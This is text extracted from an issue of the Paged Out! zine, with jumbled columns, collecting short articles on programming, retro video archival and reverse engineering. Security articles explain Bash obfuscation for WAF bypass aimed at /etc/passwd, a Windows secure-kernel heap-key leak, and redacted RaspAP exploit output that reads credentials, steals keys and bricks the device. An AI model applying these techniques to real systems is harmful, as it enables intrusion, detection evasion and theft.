26 type SameSums<T extends any[], S extends any[]> = T["length"] extends 0 ? true :
27 And<Sum<First<T>> extends S ? true : false, SameSums<Shift<T>, S>>
28 type MagicSquare<T extends any[][]> = And<SameSums<[...Shift<T>, ...Tr<T>, D1<T>, D2<T>],
29 Sum<First<T>>>, AllDiff<Flatten<T>>>
30
31 let x: any
32 const three_by_three: true = x as MagicSquare<[
33 [2, 7, 6],
34 [9, 5, 1],
35 [4, 3, 8],
36 ]>

Alok Menghrajani
https://quaxio.com/
SAA-ALL 0.0.7 37
Not The Hidden Wiki
The largest repository of links related to cybersecurity

And remember... knowledge should be free!

notthehiddenwiki.com
Using a C++ library in a Python script Programming

Using a C++ library in


PyTypeObject that will represent that type in the Python’s type
system. We will name it the same as in C++. We set it with a
second parameter of PyModule_AddObjectRef().

a Python script typedef struct {


PyObject_HEAD
A* aPtr; } PyA;
Compiled and scripting languages are fundamentally static PyTypeObject PyAType = {
di erent. While the former is executed directly from an PyVarObject_HEAD_INIT(NULL, 0)};
image and depends on the platform, the latter is PyAType.tp_name = "pymylib.A";
...
independent, although an interpreter is needed. What if we Py_INCREF(&PyAType);
join these two ideas regardless, to create something that PyModule_AddObject(mylibModule, "A",
will have advantages of both - the execution speed of a (PyObject*)&PyAType);
compiled program and the ease of use of a scripting Now, we have to create functions, that will properly initialize and
language. That is exactly what this article is all about. destroy our object, and set them to appropriate function
We will join C++ and Python together! pointers, so that Python knows where they are.
static int PyA_init(PyA* self, PyObject* args,
Actually, there is nothing innovative here. Many Python packages, PyObject* kwds) {
e.g. NumPy [1] or TensorFlow [2], use the same approach to size_t size;
speed up execution times. There are different tools that can help if (!PyArg_ParseTuple(args, "k", &size))
achieve that like pybind [3] or more advanced like SWIG [4]. return -1;
However, I wanted to focus here on how it works, therefore with self->aPtr = new A(size);
minimal use of additional tools. return 0;
So, having a C++ class like in the following example, how can we }
actually call its methods from a Python script? PyAType.tp_init = (initproc)PyA_init;
static int PyA_dealloc(PyA* self) {
struct S { delete self->aPtr;
int x; Py_TYPE(self)->tp_free(self);
std::string str; return 0;
}; }
class A { PyAType.tp_dealloc = (destructor)PyA_dealloc;
std::vector<S> v;
public: The next step is to create wrappers for C++ class methods. Here is
A(size_t size); an example for insert() method. I use PyArg_ParseTuple()
bool insert(int x, std::string str); C API function to unpack arguments to individual variables. Then,
bool empty() const; we tell where the wrapper is and how we would like to name it.
std::string getStrRepr() const;
}; static PyObject* PyA_insert(PyA* self,PyObject*
args){
It turns out that Python itself provides us with C API [5] that can int x;
be used to create, the so-called "extension modules". The API const char* str = nullptr;
comes in a form of a "Python.h" C header and a Py_ssize_t strLen;
dynamically-linked library. if(!PyArg_ParseTuple(args,"is#",&x,&str,&strLen))
return Py_None;
#include <Python.h> bool insert_ret = self->aPtr->insert(x, str);
... return insert_ret ? Py_True : Py_False;
static PyObject* test(PyObject* self,PyObject* args){ }
cout << "Hello from C++!" << endl; static PyMethodDef PyAMethods[] = {
Py_RETURN_NONE; { "insert", (PyCFunction)PyA_insert,
} METH_VARARGS, NULL}, { NULL, NULL, 0, NULL }};
static PyMethodDef ModuleMethods[] = { PyAType.tp_methods = PyAMethods;
{ "test", test, METH_VARARGS, NULL},
{ NULL, NULL, 0, NULL }}; We also e.g. have an ability to control how __str__() will work
static struct PyModuleDef mylibModuleDef = { on our type and thus the output issued by print() function.
PyModuleDef_HEAD_INIT, "pymylib", NULL, static PyObject* PyA_str(PyA* self) {
-1, ModuleMethods,NULL,NULL,NULL,NULL }; auto strRepr = self->aPtr->getStrRepr();
PyMODINIT_FUNC PyInit_pymylib() { return Py_BuildValue("s", strRepr.c_str());
return PyModule_Create(&mylibModuleDef); }
} PyAType.tp_str = (reprfunc)PyA_str;
After that we build the simplest module shown above we can do: Here’s a small sample of a usage of the wrapper:
>>> import pymylib >>> import pymylib
>>> pymylib.test() >>> a = pymylib.A(10)
Hello from C++! >>> a.insert(1, "abc")
We actually don't need to have access to a source code of a True
library that we want to wrap. To show that, we will compile the >>> a.insert(2, "xyz")
True
library code (class A and struct S) to a dynamic library >>> print(a)
(libmylib.so) and try to wrap it. To build a Python's extension {1: "abc", 2: "xyz"}
module that wraps it, I used a tool called "distutils". Interestingly In more advanced wrappers, another layer of abstraction can be
enough, an extension module is just another dynamic library. introduced, but on Python side, that is aware of Python's
from distutils.core import setup, Extension features, so that it can provide seamless Python-like experience
extension_mod = Extension(name="pymylib", for users of a wrapped C++ library.
libraries=["mylib"], include_dirs=["../mylib/inc"], Link to full code on GitHub: arturn-dev/paged-out-articles at cpp-py (github.com)
sources=["./cpp/mylib_wrap.cpp"]) [1] https://numpy.org/doc/stable/user/whatisnumpy.html#why-is-numpy-fast
setup(name = "pymylib", ext_modules=[extension_mod]) [2] https://github.com/tensorflow/tensorflow/tree/master/tensorflow/python
If we want to wrap our C++ class, we need to have an equivalent [3] https://pybind11.readthedocs.io/en/stable/
of it on the Python side, I called it PyA. We also need to create a [4] https://www.swig.org/ [5] https://docs.python.org/3/c-api/intro.html

Artur Nowicki
https://github.com/arturn-dev
SAA-ALL 0.0.7 [email protected] 39
Retro The FM RF Archival Method; The End of Analog Media Digitisation!

VHS, LaserDisc all the way to SMPTE-C & 2” Quad were stuck in a limbo of limited hardware and legacy standards in a market
flooded with ICs from ATI/Panasonic/Conexant/Analog Devices with hard limitations and a massive scalping problem of
JVC/Panasonic hardware due to built-in Time Base Correctors “TBC” all the way to Digital8 for Video8/Hi8 & Betamax HiFi
decks, alongside any rack mount time base correction and frame store hardware you can find, 100s to 1000s of USD/GBP/EUR
of inflation. Today, the death of unnecessary hardware for preservation has been set in stone thanks to the decode projects.

In 2005, Hew How Chee made the CXADC driver


(https://github.com/happycube/cxadc-linux3), turning a range of generic 2000-2002
era Conexant “CX” series of AIO decoding chips into 28.6mhz 8-bit RAW capturing
ADCs, with later expansion by Chad Page in 2013 with an idea to digitise the FM RF
signal of LaserDiscs, leading to the DomesDay86 project
(https://www.domesday86.com/) and the DomesDay Duplicator
(https://github.com/happycube/ld-decode/wiki/Domesday-Duplicator) as the standard
for LaserDisc archival today; however, in 2021-2024, Tony Anderson & myself via a
process of trial & error found these new chinese CX chip cards could do 40-57msps
8-bit with just a new 2 USD crystal swap, making the CX Cards with the CXADC
driver the most powerful PCIe direct stream ADC platform in the world today for
consumers, at an incredible low cost of 15-30 USD a card.

This driver has since expanded into multi card support &
synchronised clock support hardware with the clockgen mod
(https://github.com/oyvindln/vhs-decode/wiki/Clockgen-Mod),
building a new standard for affordable multi channel RF
capture, alongside standard audio ADC boards for linear
and hifi reference capture, meaning all signal data can be
automatically aligned in post production with even the crystal
rates being entirely software defined for the initial capture.

The FM RF archival workflow is simple, virtually grab any VCR or


VTR of your desired format, find test points
(https://github.com/oyvindln/vhs-decode/wiki/004-The-Tap-List)
with chroma+luma for colour under (VHS/Betamax), or the
composite modulated signals (Laserdisc/SMPTE-C) or Y&C points
for dual channel formats such as W-VHS & Betacam, decouple,
impedance match, amplify & add a BNC & capture samples to file.

In laymans, it's just like audio files, just a waveform with some extra digits, in fact thanks to SoX/GNUradio and codecs like
FLAC today, 6 hours of stable VHS NTSC can be stored virtually losslessly on a standard 128GB BDXL optical disc, the original
signal preserved virtually forever in its original analog signal domain.

Today, the vhs-decode (https://github.com/oyvindln/vhs-decode/wiki/),


ld-decode, cvbs-decode & hifi-decode projects have a shared binary
package as much as they have a shared family of developers and
contributors who have together provided the world's leading analog video
decoding tool suite for media preservation powered by 100% open
source code for the people by the people.

Its abilities, continuously improving by


month to year, speak for themselves.
Alongside the full signal frame visual
preservation and in virtually all edge
cases outperforming hardware time
base correctors & chroma decoders.

@therealharrypm Harry P. Munday


www.opcomedia.com
40 https://github.com/oyvindln/vhs-decode/wiki SAA-ALL 0.0.7
Brotli Zip Archive Reverse Engineering

Brotli Zip Archive


One day, when I was bored during the pandemic, I was looking for something to reverse engineer. Tired of
crackmes, I decided to play with something different. I opened the Microsoft Solitaire Collection. If you have not
heard of it – it is a modern remake of the classic solitaire games, e.g., FreeCell.
I noticed that when you start a new game, you can specify the difficulty level. I first thought it is implemented
like this: first randomly generate a game, and have an algorithm rate the difficulty of the game until a game with
the desired difficulty level is found. At least this is how several Sudoku implementations generate the board.
Upon further inspection, it turned out this was not the case. I analyzed the game executable both statically and
dynamically, and I noticed a ZIP archive in the game folder. There is a CSV file in it, which, when decompressed,
contains the list of games at each level. I know this sounds too sketchy, but I can hardly recall more details since
it was three years ago.
The ZIP archive also contains various other game resources, and I wished to extract them directly. I first tried a
few popular archive utilities (e.g., 7-zip) and got no luck. I manually analyzed the file in 010Editor, and concluded
that it conforms to the ZIP file format. This explains why it is possible to view the file list of the archive. The
only thing that prevents it from being extracted is that the files are compressed with method 34 (0x22), which is
not supported by the tools. For context, the default compression algorithm of ZIP, DEFLATE, is 0x8.
I was stuck there and could not move forward. Google search did not help much. I know it is always possible
to reverse engineer the code, but that seems a bit too much work for my recreational purpose.
Back in the year 2024, I found some notes I took for the problem. I decided to try again and see if I could make
any progress. This time, instead of focusing on “ZIP archive” and “compression”, I tried to search for “Microsoft
Solitaire Collection” and “ZIP” together. And I came across this page 1 on “The Cutting Room Floor”, which is
“a site dedicated to unearthing and researching unused and cut content from video games”.
Much to my surprise, it seems not only someone else has previously attempted the very same problem, but he
also seems to have succeeded – the page mentions that a “QuickBMS script” can extract it, and links to a script
hosted on Discord. Unfortunately, the file link is dead, so I had to continue my research.
I searched QuickBMS and learned it is a tool for file extraction and archive parser. I browsed the website and
I found a script zip.bms 2 which seems relevant. Inside of it, it has the following code snippet:
elif method == 34
ComType brotli
Yet again, brotli 3 is new to me and I figured out it is a compression algorithm developed by Google. Interest-
ingly, brotli is named after Brötli, which means “small bread” in Swiss German. With the compression algorithm
known and the existence of a handy pip package, I quickly wrote a script to decompress the archive:
import brotli , zipfile , os
archive_path = ’ data - < redacted >. archive ’
dump_root = ’ dump ’

with zipfile . ZipFile ( archive_path ) as archive :


for info in archive . infolist ():
archive . fp . seek ( info . header_offset + len ( info . FileHeader ()))
compressed = archive . fp . read ( info . compress_size )
decompressed = brotli . decompress ( compressed )
dump_path = os . path . join ( dump_root , info . filename )
os . makedirs ( os . path . dirname ( dump_path ) , exist_ok = True )
with open ( dump_path , ’ wb ’) as output :
output . write ( decompressed )

And it works!
Afterward, I checked the QuickBMS and realized the archive could be extracted directly with the help of the
above-mentioned zip.bms:
quickbms . exe zip . bms data . archive
If I had known QuickBMS earlier, I would have extracted it effortlessly. But I would also miss the opportunity
to have this fun exploration!

1 https://tcrf.net/Microsoft_Solitaire_Collection
2 https://aluigi.altervista.org/bms/zip.bms
3 https://github.com/google/brotli

Xusheng Li
https://xusheng.dev/
SAA-ALL 0.0.7 41
Art Space Elevator

6VCR
https://6vcr.com/
42 SAA-TIP 0.0.7
Calculating VTL1 Heap Keys From VTL0 Reverse Engineering

Calculating VTL1 Heap Keys from VTL0


In Windows 10 RS5, Microsoft rewrote all the heaps in the system, making them all use the same LFH heap library.
That introduced improvements in layout, efficiency and security. This new library includes two new keys, randomly
generated at boot, that are used to encode data that can be abused by attackers. These are called HeapKey and
LfhKey, and they’re used to encode different heap structures (LFH and non-LFH ones).

The LFH heap library is used by all heaps in the system – user mode, kernel mode and even the secure kernel. Every
component that uses this library initializes its own unique set of keys. But the normal kernel has access to a special
secure kernel heap, called the secure pool, that we can (ab)use to calculate the secure kernel keys. The secure pool is
managed by the secure kernel (in VTL1) and is mapped to VTL0 kernel with read-only permissions. Drivers can allocate
and write data into this pool through a special API, ExAllocatePool3, to protect it from kernel exploits. The trick that
allows us to leak information and eventually calculate the secret keys is the fact that the secure pool is mapped from
VTL1 to VTL0, and the addresses in all its management structures are mapped as-is, so we get VTL1 addresses in VTL0.

The heap is split into segments, each managing 1MB of memory. These are split into smaller subsegments. The
segment begins with a HEAP_PAGE_SEGMENT structure that manages the segment. HEAP_PAGE_SEGMENTs have
a Signature field, which is an encoded pointer to a HEAP_SEG_CONTEXT – a structure managing all the segments in
the heap. The formula used to decode the Signature and retrieve the HEAP_SEG_CONTEXT is:
seg_context = segment.Signature ^ HeapKey ^ segment_address ^ MAGIC_VALUE

(the magic value is hardcoded as 0xA2E64EADA2E64EAD, and recent builds no longer use it)

This means that if we can find the address of the HEAP_SEG_CONTEXT, the segment’s Signature and the
HEAP_PAGE_SEGMENT address, we can calculate the HeapKey. To find them, we need to make enough secure pool
allocations to force the creation of at least two segments, each with its own HEAP_PAGE_SEGMENT structure. The
segments are connected through a ListEntry field that links the segments to each other and to the head of the list
that exists inside the heap’s HEAP_SEG_CONTEXT. Once we have two HEAP_PAGE_SEGMENT structures, we can use
them to get all the details we need:
heap_page_segment_sk_address = second_segment.ListEntry.Blink
seg_context_sk_address = first_segment.ListEntry.Blink – offsetof(HEAP_SEG_CONTEXT, “SegmentListHead”)
HeapKey = first_segment.Signature ^ seg_context_sk_address ^ heap_page_segment_sk_address ^ MAGIC_VALUE

We can use a similar method to calculate LfhKey. This key is used in LFH subsegments (subsegments that manage
allocations of a single, common size) to encode the field BlockOffsets, which contains data about the block sizes in
the subsegments. The formula used to decode the encoded BlockOffsets is:
raw_data = BlockOffsets.EncodedData ^ ((int)(subsegment_address) / PAGE_SIZE) ^ LfhKey

To find LfhKey, we need the raw data (the subsegment’s block sizes and offset of the first allocation), the
subsegment’s secure kernel address, and the encoded BlockOffsets. We’ll create enough secure pool allocations to
force the creation of an LFH subsegment. Once that happens, we can easily find the address of the subsegment, as
well as the address of the HEAP_PAGE_SEGMENT that manages it. Using the same technique as before, we find the
secure kernel address of the HEAP_PAGE_SEGMENT and calculate the secure kernel address of the subsegment. Then
we can build the raw BlockOffsets structure, since we know the block size and offsets (we initiated them, after all)
and calculate the LfhKey:
lfh_subsegment_sk_address = heap_page_segment_sk_address | (lfh_subsegment & 0xfffff)
raw_data = block_size | (first_alloc_offset << 16)
LfhKey = lfh_subsegment.BlockOffsets.EncodedData ^ raw_data ^ ((int)(lfh_subsegment_sk_address)/PAGE_SIZE)

Yarden Shafir
Twitter: @yarden_shafir
SAA-TIP 0.0.7 https://blog:windows-internals.com 43
Reverse Engineering Headless GDB Scripting

Headless GDB Scripting class GdbExtractor:


Consider a simple exploitation scenario where we have a def __init__(self, gdb):
stack buffer overflow and we want to figure out the loca- self.semaphore = threading.Semaphore(0)
tion in our input that contains the value that will over- self.gdb = gdb
write the return address. We could use our decompiler self.retaddr = None
platform of choice, cross-reference the local variable us-
age, let it reconstruct the stack frame and compare the def __call__(self, event):
offset of the overflowing variable with the offset of the self.retaddr = self.gdb...
saved return address. self.semaphore.release()
On the other hand, sending a de Bruijn sequence gen- ...
erated with the pwntools cyclic() function, using the extractor = GdbExtractor(gdb_api)
instruction pointer value at the crash and calculating gdb_api.events.stop.connect(extractor)
the offset, might be easier. gdb_api.execute("continue")
Doing this manually is all well and good and can be ...
accomplished in a few minutes but what if you want to extractor.semaphore.acquire()
do this in an automated or ”headless” fashion? While print(f'Ret: {extractor.retaddr}')
we do not yet live in a utopia with an API-first headless
scriptable debugger,1 we can make a workable hack. For this to work fully headless, you might need to adjust
the terminal. If you are using pwntools, you can do this
Scripting GDB like this:

As long as we are on a platform supported by GDB, we context.terminal = [


can accomplish this by using its Python API. The first "python3",
step is to start the process and attach GDB os.path.join(
os.path.dirname(pwnlib.__file__),
from pwn import * "gdb_faketerminal.py"
io = process("./exercise", level="debug") ),
_, gdb_api = gdb.attach(io, api=True) ]
_, gdb_api = gdb.attach(io, api=True)
Now we can attach an event handler to the ”stop” event context.terminal = None
which fires among, other things, when a segfault is trig-
gered.
Nested events gotchas
...
def stop_handler(event): If you want to issue commands to GDB, you can do this
print('program stopped') with the .execute() method but there is a small caveat
gdb_api.events.stop.connect(stop_handler) if you are doing this from within an event handler. If
you call ”continue” from the event handler, it will not
If we then make the program crash, we can access reg- work. However, we can again take advantage of the fact
ister values from this handler that you can pass a callable

... # inside an event handler


def stop_handler(event): # you have to do this
frame = self.gdb.selected_frame() def stop_handler(event):
rsp = int(frame.read_register("rsp")) f=lambda:gdb.execute('continue')
process = self.gdb.selected_inferior() gdb.execute(f)
ret = process.read_memory(rsp, 8)
offset = cyclic_find(ret.tobytes()[:4]) # outside an event handler
... # this is enough
gdb.execute('continue')

Linearizing the flow Now, why would we want this? Personally, the prob-
lem arose when I was building ”unit tests” to a series
Now, since this is event-driven, we might want to add
of introductory CTF challenges I had built. I wanted
some plumbing to make the rest of the code wait for the
my solve scripts to be able to solve the challenges even
result to come back. We do this by using the fact that
if they were rebuilt in such a way that the stack layout
any callable can be passed as an event handler together
happened to change or even work for multiple architec-
with a semaphore.
tures. One could also imagine this being useful for unit
or integration tests in an exploit development shop.
1 Someone please build this

Calle "ZetaTwo" Svensson


https://zeta-two.com
44 Twitter: @ZetaTwo SAA-TIP 0.0.7
Hooking Native Functions with Frida on Android Reverse Engineering

Introduction Hook the function with Frida


Frida is a dynamic code instrumentation The following is the Frida hook to change
toolkit which lets you inject snippets of the function return call from intrandom to
JavaScript or your own library into native zero.
apps on Windows, macOS, GNU/Linux, iOS,
watchOS, tvOS, Android, FreeBSD, and QNX. Interceptor.attach(Module.getExport
We will focus on Android today for reverse ByName('libnative-lib.so',
engineering and changing how the ‘Java_com_sample_test_MainActivity’
application functions. If you don’t have a ), {
sample native C code for testing, you can onEnter: function(args) {
use the following: },
onLeave: function(retval) {
#include <jni.h> retval.replace(0);
#include <stdlib.h> }
#include <time.h> });

jint Let’s look at what the Frida script


Java_com_sample_test_MainActivity(J performs; (1) it gets libnative-lib.so by
NIEnv *env, jobject this) { using an interceptor
srand((unsigned int) time(0)); (Interceptor.attach(target, callbacks[,
int intrandom = (rand() % (990 data]))* which intercept calls to function
- 101)) + 101; at target, and is a NativePointer
return intrandom; specifying the address of the function you
} would like to intercept calls to. The
callbacks* argument is an object
Identifying function to hook containing one or more of:
Looking at the compiled library using nm - onEnter(args): callback function
--demangle --dynamic libnative-lib.so given one argument args that can be
shows the function names. It will help to used to read or write arguments as
identify any Java_com functions to target an array of NativePointer objects.
and instrument. {: #interceptor-onenter}
- onLeave(retval): callback function
$ nm --demangle --dynamic given one argument retval that is a
libnative-lib.so NativePointer-derived object
00002000 A __bss_start containing the raw return value. It
U __cxa_atexit calls retval.replace(0) to replace
U __cxa_finalize the return value with the integer
00002000 A _edata 0. Note that this object is
00002000 A _end recycled across onLeave calls, so
00000630 T do not store and use it outside
Java_com_sample_test_MainActivity your callback. Make a deep copy if
U rand you need to store the contained
U srand value, e.g.:
U __stack_chk_fail ptr(retval.toString()).
U time *You can explore more of this and the rest
of the Frida API here.
In our sample,
Java_com_sample_test_MainActivity is the With this script injected (frida -U -f
target. In normal situations, you would <package-name> -l <frida-script>),
identify the potential functions by Java_com_sample_test_MainActivity will
reverse engineering the library and look always return zero.
for interesting functions to hook. This
can also be achieved by hooking the Java Conclusion
code directly to manipulate the calls If you are dealing with mobile
being made to Java Native Interface (JNI) applications for penetration testing,
but there may be cases where hooking C reversing or malware analysis, Frida is
code is desirable. I will leave exploring your friend. I also recommend exploring
the difference and how it can be done in r2frida for further learning.
Java to the reader.

Mert Coskuner
https://linkedin.com/in/mcoskuner/
SAA-ALL 0.0.7 45
Reverse Engineering Inspecting Tcache Parsing

Inspecting Tcache typedef struct


{
parsing void *tcb;
dtv_t *dtv;
. . .
} tcbhead_t
Have you ever wondered how the Tcache is parsed for
multiple threads? Let’s delve into TLS(Thread Local We’ll focus on dtv, which essentially acts as a 2D vector
Storage) handling in GNU LIBC systems. allowing access to thread-specific variables for a specific
A brief introduction to Tcache: Post GLIBC 2. 26, module id. The module id for the current execution is
the blocks freed by malloc are stored in a list called 1. Therefore, dtv[1] will give us access to the current
Tcache. It is managed on a per-thread basis and utilized thread-specific variable.
for optimization purposes to be reused during realloca- pwndbg> p (*((struct pthread *)
tion of the heap. Let us examine a simple program and (0x7ffff7c006c0))).header.dtv[1]
utilize gdb to visualize the thread-specific allocations. $3 = {
counter = 140737349944888,
#define THREAD_CNT 10
pointer = {
void *thread_fn(void *vargp)
val = 0x7ffff7c00638,
{
to_free = 0x0
char* a = (char*) malloc(40);
}
char* b = (char*) malloc(40);
}
free(a);
free(b); The counter here serves as a version maintenance mech-
sleep(100); anism, but we won’t investigate that. The pointer.val
} gives us the pointer to the tcb for the current thread.
Hence, accessing the thread-specific variables is as easy
int main() as
{ dtv[module_id]. pointer. val + ti_offset
pthread_t thread[THREAD_CNT];
Examining the pointers around the dtv[1] will leak the
for (int i = 0; i < THREAD_CNT; i++) {
pointer to the tcache for that specific thread
pthread_create(&thread[i],
NULL, thread_fn, NULL); pwndbg> x/10gx (*((struct pthread *)
} (0x7ffff7c006c0))).header.dtv[1].pointer.val
__builtin_trap(); . . .
exit(0); 0x7ffff7c00678:
} 0x0000000000000000 0x00007ffff00008e0
The address 0x00007ffff00008e0 has read-write per-
When debugging this program using gdb, we would en-
missions and is within the memory map range of size
counter a SIGTRAP. On 64-bit Linux systems, derefer-
0x21000, which is the default size of heap allocation on
encing the fs_base pointer accesses the pointer to the
64-bit systems(This could also be a stack!). Let’s try
pthread structure, which is allocated whenever a new
and dereference it as a tcache_perthread_struct:
thread is created.
pwndbg> p *(((struct tcache_perthread_struct*)
pwndbg> info registers (0x7ffff00008e0)))
... $5 = {
fs_base 0x7ffff7c006c0 counts = {0, 2, 0 <repeats 62 times>},
entries =
We’ve switched to thread 2, which is a non-main thread, {0x0, 0x7ffff0000ba0, 0x0 <repeats 62 times>}
and are examining the state of registers. Let us visualize }
this as a struct pthread.
We have found the tcache book keeping struct, which
pwndbg> p *(((struct pthread *) has the counts and entries for the tcache bins. Let us
(0x7ffff7c006c0))) verify the same using pwndbg tcache command:
$2 = { pwndbg> tcachebins
{ 0x30 [2]: 0x7ffff0000ba0 -> 0x7ffff0000b70
header = {
tcb = 0x7ffff7c006c0,
dtv = 0x5555555592b0, Reference
. . .
• Tcache viz - rizin-4355
The tcb refers to thread control block which is again a
• https://chao-tic.github.io/blog/2018/12/25/tls
pointer to pthread struct.

https://x.com/z3phyrrrrr Giridhar Prasath R


46 giridharprasath.github.io CC BY 4.0
Bash Techniques to bypass a WAF! Security/Hacking

Bash Techniques to
bypass a WAF!
3) Uninitialized variables
A WAF or web application firewall helps protect
web applications by filtering and monitoring traffic
between a web application and the client sending
traffic. A WAF bypass is a method to communicate
with the components behind the WAF without the Uninitialized variables are treated as empty strings
WAF realizing that malicious commands are being in Bash and can be leveraged for obfuscation. $IFS
issued. The examples in this article assume the is a shell variable to be aware of that can be used
attacker is communicating with Bash on a remote for word splitting. Bash will recognize this as a
system most likely from a command injection space and, therefore, it can be used to bypass any
vulnerability. space filtering in a WAF.

Let’s create a file containing the word “contents” to 4) Globbi?g and \Escaping
experiment with. In a real world example,
/etc/passwd would be a good target on a remote
system as it generally has read permission for most
OS users. Globbing is the use of wildcards to match
characters. A “?” can be used to replace a character
in a filename. Escaping can also be leveraged to add
some obfuscation.

Putting it all together


Some example bypass techniques.

1) ‘Con’catenation This command contains escaping, concatenation,


globbing and uninitialized variables. It is also a good
idea to try different encoding methods in case
something in the processing stack decodes them
A pair of single quotes can be used for prior to bash. For example, ‘A’ can be represented
concatenation in a Bash. This can be a method for as hex \x41 or unicode \u0041.
evasion if a WAF or web application has a black list
of specific words or phrases. As a system owner should I be worried?

2) {Brace,Expansion) A WAF will perform normalization of incoming


traffic and undo many of the techniques above
prior to identifying malicious traffic. Therefore, a
modern well configured WAF should identify the
techniques. The issue often lies with WAF’s being
Bash will perform a brace expansion of comma configured suboptimally due to relaxations
separated values within braces. This is a good performed to meet business requirements.
technique to bypass any whitespace filtering that
may be taking place.

Stephen Huggard
https://protectedpenguin.com
SAA-ALL 0.0.7 47
Security/Hacking Building a portable blue team home lab

Building a portable blue team home lab 8 Web Server


This is an Ubuntu Server VM that hosts a company
website full of vulnerabilities. For this purpose a DVWA
1 Introduction
Building a home lab does not mean that you always need [7] project is used.
some old PC or a second-hand server, a bunch of
switches and routers, to build a home lab where you will
deploy various things such as SIEM, firewall, AD and 9 Kali Linux
more. All that can be nicely done on just one laptop You also need a machine which will simulate a threat
which then you can carry with you wherever you want. actor group that will run various scripts and web attacks
Here’s a list of everything you need to start building your on your corporate network in order to test detections in
own blue team playground! your SIEM. Use Kali Linux [8] which will be on a
separate VLAN network “outside” of your firewall to
2 Hardware Requirements simulate the attacks from the “Internet”.
Starting with the hardware requirements you will need a
nice CPU with 8 cores and 16 threads, then at least 10 SIEM
32GB RAM, it would be nice to have a good GPU, but Finally, you need a SIEM and I recommend a Security
nothing special, 500GB SSD and as for OS I recommend Onion [9], an open source SIEM that has an excellent
using a Fedora. community. This SIEM is based on ELK stack and
contains endpoint agents for collecting logs, IPS/IDS
3 Network Topology tools Zeek and Suricata, CyberChef and Playbook. You
Start creating your network topology with the firewall, can then use a port mirroring feature from pfSense to
endpoint VM and an active directory. Think about what send all the network traffic in the network to the Security
you want to test and what you need, then add more Onion and watch how your networks act during the
things to it. Then design VLANs, so that each VLAN has various cyber activities such as port scanning, brute
some purpose in your topology. Finally, when you get all force, SQL injection and more.
the details, put it in a nice drawing using the draw.io [1]
tool.

3 Firewall
As a firewall, use a pfSense [2], an open source firewall
that has many cool features that you can use, such as
packet capture, network troubleshooting, VPN, IPSec
and more. Your firewall VM should have several NICs, 1
for each VLAN plus 1 for management connection.

4 DFIR
For DFIR VM, I recommend checking out Tsurugi Linux
[3] or SANS SIFT Workstation [4] as they come with
quite a lot of nice pre-installed tools for forensics. As this
machine will be used for a forensic and OSINT, it should
be set in a security VLAN, which simulates a company
security department.

5 Malware Analysis
Now you want to create an environment to analyze
malware samples from the Internet. For this, I
recommend REMnux [5], a powerful Linux distro for 12 References
malware analysis. [1] https://github.com/jgraph/drawio-desktop
[2] https://www.pfsense.org/download/
6 Domain Controller [3] https://tsurugi-linux.org/
As we simulate a corporate network, it needs a user [4] https://www.sans.org/tools/sift-workstation/
identity and management solution such as Domain
Controller deployed on a Windows Server 2019 [6]. This
[5] https://remnux.org/
VM should be in the corporate VLAN and should have [6] Windows Server 2019 | Microsoft Evaluation Center
installed services such as Active Directory Domain [7] https://github.com/digininja/DVWA
Service, DHCP Server, DNS Server, File and Storage [8] https://www.kali.org/
Services and Remote Access. [9] https://securityonionsolutions.com/

7 End Devices
These VMs simulate corporate devices joined to the
domain, from which you can run specific malware
samples or open some malicious websites to test
detections in the SIEM. You can either use
evaluated Windows VMs or some other Linux
distro.

Marko Andrejić
https://facyber.me/posts/blue-team-lab-guide-part-1/
48 CC BY 4.0
This is a placeholder ad (since we had an odd number of ads). At the same
time, it's a great opportunity to explain how ads work in Paged Out!

First of all, we have two kinds of ads in our zine:

Community Ads
These are free to publish but are restricted to free projects, tutorials, tools,
etc – basically we want to advertise cool community-made stuff.

Sponsorship Ads
These help us cover the cost of making Paged Out! – thank you!

Secondly, we'll keep the number of ads to a minimum – this means the zine
will have at most 1 ad page for 10 content pages (rounded up).

And that's it. In case you would like to publish a Community Ad, or support
us with a Sponsorship Ad, please check out the details at:
https://pagedout.institute/?page=ads.php e o n d iscord! ord
, we'r
btw l/disc
e l . c o l d wind.p
/gynva
https:/

Make Debugging Easy Again!

• Enhance your reverse engineering skills.


• Help us improve debugging experience.
• Join our discord community.
• Contribute and collect stickers.

https://pwndbg.re
https://github.com/pwndbg/pwndbg
https://discord.com/invite/x47DssnGwm
Security/Hacking Carrot disclosure

🥕 Carrot disclosure
Originally published on
If you want to be extra-nice, you can:
- Publish the SHA256 of the exploit, to prove
that you weren't making things up, or if you get
https://dustri.org/b/carrot-disclosure.html,
sued for whatever frivolous reasons like libel.
— Julien "jvoisin" Voisin
- Maintain the exploits against new versions.
Once you have found a vulnerability, you can either Since you don't have hardcoded offsets
sit on it or disclose it. There are usually two ways to because we're in 2024, you can even put this in
disclose, with minor variations: a continuous integration.
- Publish the exploit once it has been fixed,
- Coordinated Disclosure [1] where one gives otherwise you risk having vendors call your
time to the vendor to issue a fix before bluff next time, or at least notify that the issue
disclosing has been fixed.
- Full Disclosure [2] where one discloses
immediately without notifying anyone Let's have an example, as a treat. A couple of shitty
beforehand. vulnerabilities for RaspAP [4] that took 5 minutes to
find and at least 5 more to write an exploit each:
I would like to coin a 3rd one: Carrot disclosure,
dangling a metaphorical carrot [3] in front of the $ ./read-raspap.py 10.3.14.1 /etc/passwd 2
[+] Target is running RaspAP
vendor to incentivise change. The idea is to only
[+] Dumping 1 line of /etc/passwd
publish the (redacted) output of exploits for a
root:x:0:0:root:/root:/bin/bash
critical vulnerability, to showcase that the software $ ./authed-mitm-raspap.py 10.3.14.1
is exploitable. Now the vendor has two choices: [+] default login/password in use
either perform a holistic audit of their software, [+] backdoored, enjoy your MITM!
fixing as many issues as possible in the hope of $ ./raspap-wifipwd.py 10.3.14.1
fixing the showcased vulnerability; or losing users [+] wifi password: "secretwifipassword"
$ ./leak-wg-raspap.py 10.3.14.1
who might not be happy running a
[+] Got key! Saved as ./wg-10.3.14.1.key
known-vulnerable software. Users of this disclosure
$ ./brick-raspap.py 10.3.14.1
model are of course called Bugs Bunnies. [+] Target is running RaspAP
[+] Bricking the system...
We all looked at catastrophic web applications,
[+] System bricked!
found a ton of bugs, and decided not to bother with
reporting them, because there were too many of It looks like there is a low-hanging unauthenticated
them, because we knew that there will be more of arbitrary code execution chainable with a privilege
them lurking, because the vendor is a complete tool escalation to root as well, but since writing an
and it would take more time trying to properly exploit would take more than 5 minutes, I can't be
disclose things than it took finding the bothered, and odds are that it'll be fixed along with
vulnerabilities, … This is an excellent use case for the persistent denial-of-service anyway. A couple of
Carrot Disclosure! Of course, for unauditably-large days after publishing those, it was a success:
codebases, it doesn't work: you've got a Linux LPE,
